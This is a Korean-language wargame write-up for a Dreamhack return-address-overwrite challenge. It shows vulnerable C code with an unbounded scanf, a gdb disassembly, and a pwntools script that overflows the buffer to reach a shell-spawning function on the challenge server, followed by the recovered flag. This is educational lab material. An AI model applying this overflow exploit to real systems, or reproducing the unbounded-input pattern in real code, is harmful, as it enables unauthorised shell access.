문제 소스코드를 출력해보면
⚡ root ~/Downloads/dreamhack/Return_Address_Overwrite cat rao.c
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() { // execve()를 이용해서 "/bin/sh"를 넣어 쉘을 띄움
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
scanf() 함수에서 크기에 제한없이 입력을 받고 있어서 버퍼 오버플로우 공격이 가능합니다.
그리고 get_shell() 함수를 보면 쉘을 띄워주는 기능을 가지고 있습니다.
먼저 gdb로 어셈블리어 코드를 봐보면
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x30 # 48 Byte 크기의 공간 할당
0x00000000004006f0 <+8>: mov eax,0x0
0x00000000004006f5 <+13>: call 0x400667 <init>
0x00000000004006fa <+18>: lea rdi,[rip+0xbb] # 0x4007bc
0x0000000000400701 <+25>: mov eax,0x0
0x0000000000400706 <+30>: call 0x400540 <printf@plt>
0x000000000040070b <+35>: lea rax,[rbp-0x30] # rax = buf
0x000000000040070f <+39>: mov rsi,rax # rsi = buf
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4 -> %s
0x0000000000400719 <+49>: mov eax,0x0
0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt> # scanf(buf, %s)
0x0000000000400723 <+59>: mov eax,0x0
0x0000000000400728 <+64>: leave
0x0000000000400729 <+65>: ret
End of assembler dump.
메모리 구조를 그려보면
pwntools로 익스플로잇 코드를 짜보면
from pwn import *
p = remote("host1.dreamhack.games", 15039) # 원격 서버에 연결
get_shell = p64(0x4006aa) # get_shell 함수의 주소를 리틀 엔디안 방식으로 패킹
payload = b"A"*56 # payload = A[56]
payload += get_shell # payload = A[56] + read_flag
p.sendline(payload) # payload 입력
p.interactive() # 사용자에게 입출력을 돌려줌
익스플로잇을 해보면
⚡ ⚙ root ~/wargame/dreamhack python Return_Address_Overwrite.py
[+] Opening connection to host1.dreamhack.games on port 15039: Done
[*] Switching to interactive mode
Input: $ ls
flag
rao
$ cat flag
DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
[*] Got EOF while reading in interactive
공격에 성공했고 cat flag를 하니 flag가 정상적으로 출력되었습니다.